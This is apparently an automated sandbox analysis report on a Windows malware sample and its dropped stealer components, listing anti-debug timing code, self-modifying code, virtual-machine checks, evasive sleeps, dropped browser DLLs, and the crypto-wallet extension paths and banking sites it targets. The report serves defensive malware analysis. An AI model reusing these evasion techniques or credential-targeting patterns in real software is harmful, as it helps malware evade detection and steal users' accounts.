Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4D60A0E second address: 4D60AA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ecx, esi 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F4AE04F8895h 0x00000011 jmp 00007F4AE04F888Bh 0x00000016 popfd 0x00000017 pushfd 0x00000018 jmp 00007F4AE04F8898h 0x0000001d adc esi, 49E52D78h 0x00000023 jmp 00007F4AE04F888Bh 0x00000028 popfd 0x00000029 popad 0x0000002a je 00007F4B52B3E1C2h 0x00000030 pushad 0x00000031 movzx esi, dx 0x00000034 mov cl, bl 0x00000036 popad 0x00000037 test byte ptr [77436968h], 00000002h 0x0000003e pushad 0x0000003f pushfd 0x00000040 jmp 00007F4AE04F8896h 0x00000045 xor ch, 00000008h 0x00000048 jmp 00007F4AE04F888Bh 0x0000004d popfd 0x0000004e push eax 0x0000004f push edx 0x00000050 mov eax, 33C7E195h 0x00000055 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4D60AA9 second address: 4D60AF7 instructions: 0x00000000 rdtsc 0x00000002 call 00007F4AE0E87EC2h 0x00000007 pop esi 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b jne 00007F4B534CD7ABh 0x00000011 jmp 00007F4AE0E87EC1h 0x00000016 mov edx, dword ptr [ebp+0Ch] 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007F4AE0E87EC8h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4D60AF7 second address: 4D60AFB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4D60AFB second address: 4D60B01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4D60B01 second address: 4D60B2D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4AE04F888Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F4AE04F8897h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4D60B2D second address: 4D60B36 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, B47Ah 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4D60B36 second address: 4D60B90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 mov al, FDh 0x0000000b pushfd 0x0000000c jmp 00007F4AE04F8899h 0x00000011 sbb si, B7A6h 0x00000016 jmp 00007F4AE04F8891h 0x0000001b popfd 0x0000001c popad 0x0000001d xchg eax, ebx 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007F4AE04F8898h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4D60B90 second address: 4D60B96 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4D60B96 second address: 4D60BED instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bx, si 0x00000006 mov ah, ABh 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push esp 0x0000000c jmp 00007F4AE04F8890h 0x00000011 mov dword ptr [esp], ebx 0x00000014 pushad 0x00000015 mov edx, eax 0x00000017 pushfd 0x00000018 jmp 00007F4AE04F888Ah 0x0000001d xor cl, 00000008h 0x00000020 jmp 00007F4AE04F888Bh 0x00000025 popfd 0x00000026 popad 0x00000027 push dword ptr [ebp+14h] 0x0000002a push eax 0x0000002b push edx 0x0000002c jmp 00007F4AE04F8895h 0x00000031 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4D70CCC second address: 4D70CD2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4D70CD2 second address: 4D70CD6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4D70CD6 second address: 4D70CDA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4D70CDA second address: 4D70CEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push ecx 0x0000000d pop ebx 0x0000000e mov cl, CCh 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4D70CEB second address: 4D70CFE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4AE0E87EBFh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4D70A8D second address: 4D70AF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 pushad 0x00000007 pushfd 0x00000008 jmp 00007F4AE04F8890h 0x0000000d sub cl, FFFFFFE8h 0x00000010 jmp 00007F4AE04F888Bh 0x00000015 popfd 0x00000016 mov dx, si 0x00000019 popad 0x0000001a xchg eax, ebp 0x0000001b jmp 00007F4AE04F8892h 0x00000020 mov ebp, esp 0x00000022 jmp 00007F4AE04F8890h 0x00000027 pop ebp 0x00000028 push eax 0x00000029 push edx 0x0000002a jmp 00007F4AE04F8897h 0x0000002f rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4DF065D second address: 4DF0679 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4AE0E87EC8h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4DF0679 second address: 4DF06DC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4AE04F888Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c jmp 00007F4AE04F8896h 0x00000011 mov ebp, esp 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 mov dx, D4D0h 0x0000001a pushfd 0x0000001b jmp 00007F4AE04F8899h 0x00000020 xor cx, 1956h 0x00000025 jmp 00007F4AE04F8891h 0x0000002a popfd 0x0000002b popad 0x0000002c rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4DE09CB second address: 4DE09E0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4AE0E87EC1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4DE09E0 second address: 4DE09E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4DE09E6 second address: 4DE09EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4DE09EA second address: 4DE0A21 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4AE04F8893h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c jmp 00007F4AE04F8896h 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4DE0A21 second address: 4DE0A25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4DE0A25 second address: 4DE0A41 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4AE04F8898h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4DE0A41 second address: 4DE0A70 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4AE0E87EBBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b movzx esi, di 0x0000000e popad 0x0000000f mov ebp, esp 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F4AE0E87EC6h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4DE0895 second address: 4DE0899 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4DE0899 second address: 4DE08B6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4AE0E87EC9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4DE08B6 second address: 4DE08FA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushfd 0x00000006 jmp 00007F4AE04F888Dh 0x0000000b and ah, 00000076h 0x0000000e jmp 00007F4AE04F8891h 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 mov ebp, esp 0x00000019 jmp 00007F4AE04F888Eh 0x0000001e pop ebp 0x0000001f pushad 0x00000020 push eax 0x00000021 push edx 0x00000022 mov esi, 1C2889F3h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4D8004C second address: 4D8005B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4AE0E87EBBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4D8005B second address: 4D80061 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4D80061 second address: 4D80065 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4D80065 second address: 4D800DA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4AE04F888Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007F4AE04F8899h 0x00000011 xchg eax, ebp 0x00000012 pushad 0x00000013 call 00007F4AE04F888Ch 0x00000018 pop esi 0x00000019 mov ecx, edx 0x0000001b popad 0x0000001c mov ebp, esp 0x0000001e jmp 00007F4AE04F8899h 0x00000023 pop ebp 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 jmp 00007F4AE04F8898h 0x0000002d rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4D800DA second address: 4D800E9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4AE0E87EBBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4DE0BD8 second address: 4DE0C08 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4AE04F8891h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d call 00007F4AE04F8893h 0x00000012 pop ecx 0x00000013 push ebx 0x00000014 pop eax 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4DE0C08 second address: 4DE0C1A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edx, eax 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a mov ch, bl 0x0000000c push eax 0x0000000d push edx 0x0000000e mov cx, C7FDh 0x00000012 rdtsc
Tries to evade debugger and weak emulator (self modifying code)
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe Special instruction interceptor: First address: 1AEBA3 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe Special instruction interceptor: First address: 1AEB37 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe Special instruction interceptor: First address: 388AF0 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe Special instruction interceptor: First address: 1AEB0A instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe Special instruction interceptor: First address: 3EC748 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Special instruction interceptor: First address: 95EBA3 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Special instruction interceptor: First address: 95EB37 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Special instruction interceptor: First address: B38AF0 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Special instruction interceptor: First address: 95EB0A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Special instruction interceptor: First address: B9C748 instructions caused by: Self-modifying code
Contains capabilities to detect virtual machines
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion Jump to behavior
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe Code function: 0_2_04DE0C04 rdtsc 0_2_04DE0C04
Contains long sleeps (>= 3 min)
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Thread delayed: delay time: 180000 Jump to behavior
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Window / User API: threadDelayed 1354 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Window / User API: threadDelayed 447 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Window / User API: threadDelayed 1408 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Window / User API: threadDelayed 1176 Jump to behavior
Found dropped PE file which has not been started or loaded
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Dropped PE file which has not been started: C:\ProgramData\nss3.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Dropped PE file which has not been started: C:\ProgramData\freebl3.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Dropped PE file which has not been started: C:\ProgramData\softokn3.dll Jump to dropped file
Found large amount of non-executed APIs
Source: C:\Users\user\AppData\Local\Temp\1000019001\server.exe API coverage: 6.2 %
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe API coverage: 6.5 %
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 6776 Thread sleep time: -42021s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 2632 Thread sleep count: 1354 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 2632 Thread sleep time: -2709354s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 3928 Thread sleep count: 447 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 3928 Thread sleep time: -13410000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 5804 Thread sleep time: -1260000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 2832 Thread sleep count: 1408 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 2832 Thread sleep time: -2817408s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 6820 Thread sleep count: 1176 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 6820 Thread sleep time: -2353176s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000019001\server.exe TID: 7104 Thread sleep time: -73720s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000019001\server.exe TID: 7044 Thread sleep time: -30000s >= -30000s Jump to behavior
Queries keyboard layouts
Source: C:\ProgramData\CFHIIJDBKE.exe Key opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\08070809 Jump to behavior
Source: C:\ProgramData\CFHIIJDBKE.exe Key opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\04070809 Jump to behavior
Source: C:\ProgramData\CFHIIJDBKE.exe Key opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\08070809 Jump to behavior
Source: C:\ProgramData\CFHIIJDBKE.exe Key opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\04070809 Jump to behavior
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\SysWOW64\timeout.exe Last function: Thread delayed
Source: C:\Windows\SysWOW64\timeout.exe Last function: Thread delayed
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_00401110 FindFirstFileA,StrCmpCA,StrCmpCA,FindFirstFileA,LoadLibraryW,CopyFileA,DeleteFileA,FindNextFileA,FindClose,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 10_2_00401110
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_004099F0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose, 10_2_004099F0
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_0040A2C0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA, 10_2_0040A2C0
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_004156C0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose, 10_2_004156C0
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_0040C2E0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 10_2_0040C2E0
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_00415EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 10_2_00415EA0
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_00414F80 wsprintfA,FindFirstFileA,memset,memset,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,memset,lstrcatA,strtok_s,strtok_s,memset,lstrcatA,strtok_s,PathMatchSpecA,DeleteFileA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,strtok_s,FindNextFileA,FindClose, 10_2_00414F80
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_0040B390 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 10_2_0040B390
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_00409D40 StrCmpCA,FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 10_2_00409D40
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_00415A70 GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcatA,lstrcatA,lstrlenA,lstrlenA, 10_2_00415A70
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_0040AAB0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,DeleteFileA,CopyFileA,FindNextFileA,FindClose, 10_2_0040AAB0
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_004153C0 GetLogicalDriveStringsA,memset,GetDriveTypeA,lstrcpyA,lstrcpyA,lstrcpyA,lstrlenA, 10_2_004153C0
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_0040FDA0 GetSystemInfo,wsprintfA, 10_2_0040FDA0
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Thread delayed: delay time: 30000 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Thread delayed: delay time: 180000 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\ Jump to behavior
Source: build_2024-07-25_20-56.exe, 0000000A.00000002.3355278855.0000000002518000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: VMwareVMware^R
Source: axplong.exe, axplong.exe, 00000007.00000002.3352609024.0000000000AEF000.00000040.00000001.01000000.00000007.sdmp Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: HJEBGH.10.dr Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: HJEBGH.10.dr Binary or memory string: secure.bankofamerica.comVMware20,11696487552|UE
Source: HJEBGH.10.dr Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: HJEBGH.10.dr Binary or memory string: discord.comVMware20,11696487552f
Source: HJEBGH.10.dr Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: HJEBGH.10.dr Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: axplong.exe, 00000007.00000002.3354999318.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, server.exe, 00000009.00000003.2938342842.0000021547812000.00000004.00000020.00020000.00000000.sdmp, server.exe, 00000009.00000002.2949425012.0000021547812000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3355278855.0000000002518000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3355278855.0000000002569000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW
Source: HJEBGH.10.dr Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: axplong.exe, 00000007.00000002.3354999318.0000000000FB8000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW(
Source: HJEBGH.10.dr Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: HJEBGH.10.dr Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: HJEBGH.10.dr Binary or memory string: global block list test formVMware20,11696487552
Source: HJEBGH.10.dr Binary or memory string: tasks.office.comVMware20,11696487552o
Source: server.exe, 00000009.00000002.2949296578.000002154779C000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW
Source: HJEBGH.10.dr Binary or memory string: AMC password management pageVMware20,11696487552
Source: HJEBGH.10.dr Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: CFHIIJDBKE.exe, 0000000C.00000002.3353662861.0000000000FE8000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: HJEBGH.10.dr Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: HJEBGH.10.dr Binary or memory string: dev.azure.comVMware20,11696487552j
Source: HJEBGH.10.dr Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: HJEBGH.10.dr Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: HJEBGH.10.dr Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: HJEBGH.10.dr Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: HJEBGH.10.dr Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: HJEBGH.10.dr Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: HJEBGH.10.dr Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: HJEBGH.10.dr Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: build_2024-07-25_20-56.exe, 0000000A.00000002.3355278855.0000000002518000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: VMwareVMware
